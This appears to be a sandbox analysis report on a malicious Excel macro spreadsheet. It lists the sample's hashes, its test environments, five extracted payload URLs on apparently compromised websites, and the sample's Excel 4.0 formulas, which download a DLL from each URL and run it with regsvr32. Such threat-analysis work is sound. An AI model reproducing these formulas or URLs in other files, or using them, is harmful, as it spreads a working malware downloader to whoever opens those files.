Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
ac37166eb7bcab4720d25819c550afe039d8211c2c17e0847cf984ed61e6918c
-
Size
46KB
-
Sample
241111-1457xswrhv
-
MD5
58e55b2e6b4c4ee240205b8044ea7543
-
SHA1
f65f399996190bee6b4d8faf5ff0b91431937987
-
SHA256
ac37166eb7bcab4720d25819c550afe039d8211c2c17e0847cf984ed61e6918c
-
SHA512
0a7a5a2a9412d8bd93740c11fd3e1081e0289b21eb9c5dd626be5f9b942509a6dd0c63fccc1857d13b521d2c7ddb1ae4209acda0d09890b79d7974222f3474cd
-
SSDEEP
768:z5WHFKfQzXTmbfRzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+UP6UCIHcX:zwF+OXabfFtT5fTR4Lh1NisFYBc3cr+z
Behavioral task
behavioral1
Sample
ac37166eb7bcab4720d25819c550afe039d8211c2c17e0847cf984ed61e6918c.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
ac37166eb7bcab4720d25819c550afe039d8211c2c17e0847cf984ed61e6918c.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://nataliapereira.com/wp-admin/pE8xYY3x6p/
http://annewelshsalon.com/wp-admin/2c9l2o1/cWWAzTVQ/
http://hellocloudgurusgerald.com/wp-content/iXYx/
https://ramijabali.com/licenses/0/
https://africa-roadworks.com/lilo-bard/vk3GSY7/
-
formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nataliapereira.com/wp-admin/pE8xYY3x6p/","..\dw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://annewelshsalon.com/wp-admin/2c9l2o1/cWWAzTVQ/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hellocloudgurusgerald.com/wp-content/iXYx/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ramijabali.com/licenses/0/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://africa-roadworks.com/lilo-bard/vk3GSY7/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dw1.ocx") =RETURN()
Extracted
http://nataliapereira.com/wp-admin/pE8xYY3x6p/
http://annewelshsalon.com/wp-admin/2c9l2o1/cWWAzTVQ/
http://hellocloudgurusgerald.com/wp-content/iXYx/
https://ramijabali.com/licenses/0/
https://africa-roadworks.com/lilo-bard/vk3GSY7/
Targets
-
-
Target
ac37166eb7bcab4720d25819c550afe039d8211c2c17e0847cf984ed61e6918c
-
Size
46KB
-
MD5
58e55b2e6b4c4ee240205b8044ea7543
-
SHA1
f65f399996190bee6b4d8faf5ff0b91431937987
-
SHA256
ac37166eb7bcab4720d25819c550afe039d8211c2c17e0847cf984ed61e6918c
-
SHA512
0a7a5a2a9412d8bd93740c11fd3e1081e0289b21eb9c5dd626be5f9b942509a6dd0c63fccc1857d13b521d2c7ddb1ae4209acda0d09890b79d7974222f3474cd
-
SSDEEP
768:z5WHFKfQzXTmbfRzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+UP6UCIHcX:zwF+OXabfFtT5fTR4Lh1NisFYBc3cr+z
Score10/10 -